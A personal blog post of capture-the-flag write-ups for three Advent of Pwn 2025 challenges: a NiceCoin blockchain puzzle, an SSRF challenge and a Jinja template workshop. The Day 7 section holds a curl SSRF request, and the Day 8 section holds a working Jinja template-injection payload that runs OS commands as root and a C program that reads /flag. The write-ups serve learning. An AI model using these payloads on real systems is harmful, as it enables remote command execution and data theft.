Pwn.College Advent of Pwn 2025 Writeups

Posted on Fri 02 January 2026 in Blog

kei-nova@project2501:~$ cat advent-of-pwn2025_writeups.md

Advent of Pwn 2025 Writeups 🎅📝

A little late to the party, but here are my writeups for the Advent of Pwn 2025 CTF. Just getting around to update my blog. Vacation time!

Pwn.College Advent of Pwn 2025

My first solve was Day 6!

  • Challenge Name: 🎄 North-Poole: The Decentralized Spirit of Christmas 🎄
  • Challenge Description:

    For centuries, Santa ruled the holidays with a single, all-powerful Naughty-or-Nice list. One workshop. One sleigh. One very centralized source of truth.

    But after years of “mislabeled” children, delayed gifts, and at least one entire village receiving nothing but the string "AAAAAAAAAA" due to an unfortunate buffer overflow in the Letter Sorting Department, global trust has melted faster than a snowman in July. The kids are done relying on a jolly single point of failure.

    Now introducing…

    🎁 NiceCoin™ — the world’s first decentralized, elf-mined, holly-backed virtue token.

    Mint your cheer. Secure your joy. Put holiday spirit on the blockchain.

    Elves now mine blocks recording verified Nice deeds and mint NiceCoins. Children send signed, on-chain letters to request presents, and Santa—bound by transparent, immutable consensus—must follow the ledger. The workshop is running on proof-of-work, mempools, and a very fragile attempt at “trustless” Christmas cheer.

    Ho-ho-hope you’re ready. 🎅🔥 - Solves: 89 - Solution Link: https://github.com/dkmy-sec/advent-of-pwn2025/tree/main/day6 - Solution:

    I always start by reading through the /challenge files, that are readable.

    files /challenge/north_poole.py and santa.py gave me a good idea on how to write the exploit.

    • I knew I needed to not let my nice balance go negative, I also knew to keep the balance at 5 or more.
    • I also knew I needed to make sure I was sending gift and a trusted child name to santa in the letter request. Our hacker child name has a key and is trusted by santa.
    • I wrote a python script that is an all in one exploit. bash python3 north_poole_exploit_patched.py --mine
    • In a second terminal, run the check_tx_depth.py script to see where you are in the tx pool.
    python3 check_tx_depth.py --nonce xxx-xxx-xxx
   - Then run the mine_fast.py script to mine some blocks to get your balance up.
   - Go back to the first terminal and wait for the flag.  Cash in.

My second solve was Day 7!

  • Challenge Name: Day 07
  • Challenge Description: Wow, Zardus thinks he’s Santa 🎅, offering a cheerful Naughty-or-Nice checker on http://localhost/ — but in typical holiday overkill, it has been served as a full festive turducken: a bright, welcoming outer roast 🦃, a warm, well-seasoned middle stuffing 🦆, and a rich, indulgent core that ties the whole dish together 🐔. It all looks merry enough at first glance, yet the whole thing feels suspiciously overstuffed 🎁. Carve into this holiday creation and see what surprises have been tucked away at the center.
  • Solves: 121
  • Solution:
curl -X POST http://localhost/check \
  -d 'hacker_name=dkmy' \
  --data-urlencode 'hacker_image=http://72.79.72.79/fetch?url=http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag'
python - << 'PY'
import base64
data = "PASTE_BASE64_HERE"
print(base64.b64decode(data).decode('utf-8', 'replace'))
PY
  ```
Boom!  Flag!

### My third solve was Day 8!

- **Challenge Name:** **Day 8**
- **Challenge Description:** 
- 🔨⚙️🧵 Santa’s Workshop of Jingly Jinja Magic 🎁✨🛠️

Hidden between a tower of half-painted rocking horses and a drift of cinnamon-scented sawdust lies a cozy corner of Santa’s Workshop 🎄✨. A crooked little sign hangs above it, dusted with snowflakes and glitter: TINKER  BUILD  PLAY.

Here, elves shuffle about with scraps of blueprints—teddy bears waiting for their whispered secrets 🧸, wooden trains craving extra “choo” 🚂, and tin robots frozen mid-twirl 🤖✨. Each blueprint is just a fragment at first, patched with tiny gaps where holiday magic (and the occasional variable) gets poured in.

Once an elf has fussed over a design—nudging, scribbling, humming carols as they go—it’s fed into the clanky old assembler, a machine that wheezes peppermint steam and occasionally complains in compiler warnings ❄️💥. But when the gears settle and the lights blink green, out pops something wondrous:

A toy that runs.

Suddenly the workshop sparkles with noise—beeps, choos, secrets, giggles. Each creation takes its first breath of output, wide-eyed and ready to play 🎁💫.

It’s a tiny corner of the North Pole, but this is where Christmas cheer is written, compiled, and sent twinkling into the world
- **Solves:** **98**
- **Solution:** 
Build a toy! with curl and python3
 ```bash
toy=$(
  curl -s -X POST http://127.0.0.1/create \
    -H 'Content-Type: application/json' \
    -d '{"template":"robot.c.j2"}' \
  | python3 -c 'import sys, json; print(json.load(sys.stdin)["toy_id"])'
)

echo "$toy"

First run through the TINKER -> BUILD -> PLAY process. I got "permission denied" on the last step, flag is readbled by root only.

chmod to the rescue -> with Jinja we can execute commands as root!

To get passed this let's overwrite the template with our Jinja payload.

curl -s -X POST http://127.0.0.1/tinker/$toy \
  -H 'Content-Type: application/json' \
  -d '{"op":"replace","index":0,"length":99999,"content":"/* {{ config.__class__.__init__.__globals__[\"os\"].system(\"chmod 644 /flag\") }} */\nint main(){return 0;}\n"}'
 ```

Trigger Jinja to run (this does the chmod as root)
```bash
curl -s -X POST http://127.0.0.1/tinker/$toy \
  -H 'Content-Type: application/json' \
  -d '{"op":"render","context":{}}'

You can sanity check from the shell

ls -l /flag

Overwrite with the cat program - TINKER

curl -s -X POST http://127.0.0.1/tinker/$toy \
  -H 'Content-Type: application/json' \
  -d '{
    "op": "replace",
    "index": 0,
    "length": 99999,
    "content": "#include <stdlib.h>\n#include <stdio.h>\nint main(){ system(\"cat /flag\"); return 0; }\n"
  }'

Assemble - BUILD

curl -s -X POST http://127.0.0.1/assemble/$toy \
  -H 'Content-Type: application/json' \
  -d '{}'

You should get:

{"status":"assembled"}

Play(get the flag) - PLAY

curl -s -X POST http://127.0.0.1/play/$toy \
  -H 'Content-Type: application/json' \
  -d '{"stdin":""}'

Now the "stdout" field should contain the flag. 🎁

Ghosted in the Shellcode. Kei Nova out.